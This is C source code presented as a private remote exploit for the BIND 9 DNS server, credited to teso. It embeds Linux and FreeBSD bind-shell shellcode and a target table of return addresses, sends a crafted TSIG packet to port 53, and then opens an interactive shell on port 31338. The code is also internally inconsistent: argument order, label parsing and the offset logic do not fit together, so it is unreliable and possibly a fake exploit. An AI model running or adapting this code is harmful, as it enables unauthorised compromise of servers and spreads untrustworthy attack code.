/*


 * !!! PRIVATE DO NOT RELEASE !!!!


 * The following elements lead to this


 * bind9 Exploit by by scut of teso [http://teso.scene.at/]


 * 39273 of bugtraq you have no idea.


 *


 * word to whole team teso, ADM, w00w00, beavuh and stealth :).


 * special thanks to xdr for donating a bit of his elite debugging skillz.


 * Small fix added by Sub--Zero of security24 team
 */











#include <stdio.h>


#include <unistd.h>


#include <sys/types.h>


#include <netinet/in.h>


#include <sys/socket.h>


#include <string.h>


#include <arpa/inet.h>


#include <arpa/nameser.h>


#include <netdb.h>


#include <signal.h>








#define SHELL_OFFSET_1  26


#define SHELL_OFFSET_2  31


#define BIND_PKT_OFF    26     


#define BIND_OKT_SZ     14    


#define BIND_OFF_01 (BIND_PKT_OFF+BIND_OKT_SZ)/2


#define BIND_OFF_02 ((BIND_PKT_OFF*(SHELL_OFFSET_2+8))+BIND_OKT_SZ)


#define BIND_OFF_03 (SHELL_OFFSET_1*2)


#define BIND_OFF_04 ((SHELL_OFFSET_2*2) - 1)





char  dns_packet[] =


/* TSIG bind req, \xe8 used as field separator. */


"\x31\xc0\x48\x50\x50\x31\xdb\x8d\x05\x0d\x00\x00\x00\xcd\x80\x83"


"\xc4\x08\x3d\x04\x03\x02\x01\x7c\x05\xe8TSIG\xe8NAME\xe8SIGNATURE\xe8RSA\0";





/* zeroes in all shellcodes are allowed - we encode them anyway.. */


char            linux_shellcode[] =     /* modifyed Aleph1 linux shellcode to


                                         * bind to tcp port 31338. hey aleph1


                                         * :) */


"\xeb\x34\x5e\xbb\x01\x00\x00\x00\x89\xf1\xb8\x66\x00\x00\x00\xcd"


"\x80\x89\x46\x14\x8d\x46\x30\x89\x46\x18\x31\xc0\x89\x46\x20\x8d"


"\x46\x0c\x89\x46\x24\xb8\x66\x00\x00\x00\xbb\x0b\x00\x00\x00\x8d"


"\x4e\x14\xcd\x80\xeb\xef\xe8\xc7\xff\xff\xff\x02\x00\x00\x00\x02"


"\x00\x00\x00\x11\x00\x00\x00\x02\x00\x00\x35\xa1\x45\x03\x96\xff"


"\xff\xff\xff\xef\xff\xff\xff\x00\x04\x00\x00\x00\x00\x00\x00\x02"


"\x5f\x9a\x80\x10\x00\x00\x00/bin/sh\0";





char            bsd_shellcode[] =


/* freebsd bind shellcode by LaMerZ , thnx :) */


"\xeb\x37\x5e\x6a\x11\x6a\x02\x6a\x02\x6a\x66\x8d\x05\x61\x00\x00"


"\x00\xcd\x80\x89\xc2\x6a\x10\x89\xf0\x50\x31\xc0\x50\x68\x24\x10"


"\x00\x00\x8d\x46\x0f\x50\x52\x68\x88\x00\x00\x00\x8d\x05\x85\x00"


"\x00\x00\xcd\x80\x83\xc4\x1c\xeb\xdc\xe8\xc4\xff\xff\xff\x00\x02"


"\x00\x35\xa1\x45\x03\x96\xe8\xb1\xff\xff\xff/bin/sh\0";





struct remote {


        char           *osname;


        char           *bindver;


        unsigned long   ret;    /* return addr */


        unsigned long   otebp;  /* offset ot %ebp,bind specific */


        char           *shellcode;


}               remote[] = {


        {


                "Linux RedHat 6.0", "9.2.x", 0xbfff0508, 104, linux_shellcode


        },


        {


                "Linux RedHat 6.2", "9.2.x", 0xbfff0a04, 80, linux_shellcode


        },


        {


                "Linux RedHat 7.2", "9.2.x", 0xbfff040a, 84, linux_shellcode


        },


        {


                "Linux Slackware 8.0", "9.2.x", 0xbfffe123, 20, linux_shellcode


        },


        {


                "Linux Debian (all)", "9.2.x", 0xbfffd0aa, 110, linux_shellcode


        },


        {


                "FreeBSD 3.4", "8.2.x", 0xbfbfa101, -10, bsd_shellcode


        },


        {


                "FreeBSD 3.5", "8.2.x", 0xbfbfc09a, -10, bsd_shellcode


        },


        {


                "FreeBSD 4.x", "8.2.x", 0xbfbffe01, -40, bsd_shellcode


        },


        {


                NULL, NULL, 0, 0,NULL


        }


};





int max(int x,int y)
{


if (x>y) return x;
  else return y;
}



void

 usage_func(char *pname)


{


        int             i;





        fprintf(stderr, "Usage: %s remote_addr domainname target_id\n", pname);


        fprintf(stderr, "Targets:\n");


        for (i = 0; remote[i].osname; i++)


                fprintf(stderr, " %d - %s (%s)\n", i, remote[i].osname, remote[

i].bindver);


        fprintf(stderr, "\n");


        fprintf(stderr, " Example usage:\n");


        fprintf(stderr, "$ host -t ns domain.com\n");


        fprintf(stderr, "domain.com name server dns1.domain.com\n");


        fprintf(stderr, "$ ./bind9 dns1.domain.com domain.com 0\n");


        fprintf(stderr, " [..expl output..]\n\n");


        exit(1);


}








int

 set_ptr(char *buff, int offset, unsigned long val, int s)


{


        char            copy_buff[1024];


        int             revval;





        memcpy(copy_buff, buff, 1024);


        revval = buff[SHELL_OFFSET_1];


        /* increment record usage count */


        revval += BIND_OFF_01;


        if (s)


                if (!fork())


                        /* simply copy value to offset */


                        memcpy(&copy_buff[offset], &val, sizeof(val));


        memcpy(buff, copy_buff, sizeof(copy_buff));


        return 0;


}





unsigned long

 Resolve(char *h)


{


        struct in_addr  q;


        struct hostent *z;





        if ((inet_aton(h, &q)) == 0) {


                z = gethostbyname(h);





                if (!z)


                        return -1;





                (void) memcpy((void *) &q, (void *) z->h_addr, z->h_length);


        }


        return q.s_addr;


}





/* pull out a compressed query name */


char           *

dnsprintflabel(char *s, char *buf, char *p)


{


        unsigned short  i, len;


        char           *b = NULL;


        len = (unsigned short) *(p++);


        i = len + BIND_PKT_OFF;


        /* invalid length? */


        if (i)


                return NULL;


        while (len) {


                while (len >= 0xC0) {


                        if (!b)


                                b = p + 1;


                        p = buf + (htons(*((unsigned short *) (p - 1))) & 0xC0

);


                        len = (unsigned short) *(p++);


                }


                for (i = 0; i < len; i++)


                        *(s++) = *(p++);


                *(s++) = '.';


                len = (unsigned short) *(p++);


        }


        *(s++) = 0;


        if (b)


                return (b);


        return (p);


}





int

 proxyloop(int s)


{


        char            snd[1024], rcv[1024];


        fd_set          rset;


        int             maxfd, n;


        sleep(1);


        printf("Entering proxyloop..\n");


        strcpy(snd, "cd /; uname -a; pwd; id;\n");


        write(s, snd, strlen(snd));


        for (;;) {


                FD_SET(fileno(stdin), &rset);


                FD_SET(s, &rset);


		maxfd = max(fileno(stdin), s) + 1;
                select(maxfd, &rset, NULL, NULL, NULL);


                if (FD_ISSET(fileno(stdin), &rset)) {


                        bzero(snd, sizeof(snd));


                        fgets(snd, sizeof(snd) - 2, stdin);


                        write(s, snd, strlen(snd));


                }


                if (FD_ISSET(s, &rset)) {


                        bzero(rcv, sizeof(rcv));


                        if ((n = read(s, rcv, sizeof(rcv))) == 0)


                                exit(0);


                        if (n < 0) {


                                return -3;


                        }


                        fputs(rcv, stdout);


                }


        }


        return 0;


}





int

 main(int argc, char *argv[])


{


        HEADER         *dnsheader;


        struct sockaddr_in to;


        char            expl_buffer[PACKETSZ + 8192];


        int             off, i, x;


        char            ch, *remote_addr = NULL, *dmn = NULL;


        char           *walker;


        unsigned char  *shellcode;


        int             align = 0;


        unsigned long   remote_ip, addr;


        int             saved_len_1, saved_len_2;


        int             type = -1;


        int             fd, fd2;





        if (argc != 4) {


                usage_func(argv[0]);


        }


        dmn = strdup(argv[1]);


        remote_addr = strdup(argv[2]);


        type = atoi(argv[3]);





        if (type < 0 || !remote_addr || !dmn) {


                usage_func(argv[0]);


        }


        printf(" [+] Trying to resolve %s ...\n", remote_addr);


        remote_ip = Resolve(remote_addr);





        if (remote_ip == -1) {


                fprintf(stderr, " [-] failed to resolve %s\n", remote_addr);


                exit(1);


        } else {


                printf(" [+] %s -> %#lx...\n", remote_addr, remote_ip);


        }


        /* block signal to allow these signals in bindshell */


        signal(SIGHUP, SIG_IGN);


        signal(SIGCHLD, SIG_IGN);       /* well.. */


        signal(SIGINT, SIG_IGN);





        printf(" [+] Remote OS %s, using domain %s\n", remote[type].osname, dmn

);


        printf(" [+] Offset: 0x%08x, bind specific value: %d\n", remote[type].ret , remote[type].otebp);


        shellcode = (unsigned char *) malloc(PACKETSZ + 8192);


        memset(shellcode, 0x90, PACKETSZ);





        addr = remote[type].ret;





        for (i = 0; i < sizeof(dns_packet); i++)


                shellcode[i] = dns_packet[i];





        if (i > 0) {


                saved_len_1 = i;


        }


        for (x = 0; x < sizeof(linux_shellcode); i++, x++)


                shellcode[i] = linux_shellcode[x];





        if (i) {


                saved_len_2 = i;


        }


        for (x = 0; x < sizeof(bsd_shellcode); i++, x++)


                shellcode[i] = bsd_shellcode[x];





        /* encode offset */


        addr = (unsigned long) saved_len_1 - SHELL_OFFSET_1 - 4;


        shellcode[SHELL_OFFSET_1 + 3] = (addr >> 24) & 0xff;


        shellcode[SHELL_OFFSET_1 + 2] = (addr >> 16) & 0xff;


        shellcode[SHELL_OFFSET_1 + 1] = (addr >> 8) & 0xff;


        shellcode[SHELL_OFFSET_1] = (addr) & 0xff;


        addr = (unsigned long) saved_len_2 - SHELL_OFFSET_2 - 4;


        shellcode[SHELL_OFFSET_2 + 3] = (addr >> 24) & 0xff;


        shellcode[SHELL_OFFSET_2 + 2] = (addr >> 16) & 0xff;


        shellcode[SHELL_OFFSET_2 + 1] = (addr >> 8) & 0xff;


        shellcode[SHELL_OFFSET_2] = (addr) & 0xff;





        printf(" [+] shellcode length: %d\n", i);


        /*


         * now build packet


         * set pointer to itself. dont modify BIND_OFF_02, it was


         * bruteforced.. and worked with every bind i sploited.


         */


        set_ptr(shellcode, BIND_OFF_02, (unsigned long) shellcode, 1);


        /* setup tsig info */


        set_ptr(shellcode, BIND_OFF_01, SHELL_OFFSET_2, 0);


        /* count of records */


        if (i > (SHELL_OFFSET_2 - 10)) {


                set_ptr(shellcode, BIND_OFF_03, i, 0);


        } else {


                i += (SHELL_OFFSET_2 / 2);


                i -= (SHELL_OFFSET_2 % 2);      /* thnx enr1qe! :) */


                set_ptr(shellcode, BIND_OFF_03, i, 0);


        }


        /* store return ADDR !! */


        set_ptr(shellcode, BIND_OFF_04, remote[type].ret + (i * remote[type].otebp), 0);





        /* copy and rebuild packet depended stuff */


        memcpy(expl_buffer, shellcode, PACKETSZ);


        dnsheader = (HEADER *) & expl_buffer;


        memset(dnsheader, 0, sizeof(HEADER));


        dnsheader->id = htons(getpid());


        dnsheader->qr = 1;


        dnsheader->aa = 1;


        /* tsig query! */


        dnsheader->opcode = QUERY;


        dnsheader->qdcount = htons(1);


        dnsheader->arcount = htons(1);


        /*


         * encode packet ...


         */


        dnsprintflabel(remote_addr, (char *) (expl_buffer + sizeof(HEADER)), (char *) ((unsigned long) &expl_buffer[0] + 
sizeof(HEADER) + 1));


        walker = (char *) dnsheader + sizeof(HEADER) + strlen(remote_addr);


        PUTSHORT(T_SIG, walker);





        /*


         * packet is built, connect and sent shellcode. what can be easier?


         * :)


         */


        if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) {


                perror("socket");


                exit(1);


        }


        memset(&to, 0, sizeof(to));


        to.sin_family = AF_INET;


        to.sin_port = htons(53);


        to.sin_addr.s_addr = remote_ip;





        if ((sendto(fd, &expl_buffer, PACKETSZ, 0, (struct sockaddr *) & to, sizeof(struct sockaddr))) != PACKETSZ) {


                perror("sendto");


                exit(1);


        }

        /* attempt to connect to bindshell on port 31338 */


		


        if ((fd2 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {


                perror("socket");


                exit(1);


        }


        /* linux & freebsd shellcodes bindport is same, so dont even check. */


        to.sin_port = htons(31338);





        if (connect(fd2, (struct sockaddr *) & to ,  sizeof(struct sockaddr)) < 0

) {


                perror("connect");


                exit(1);


        }


        proxyloop(fd2);


}
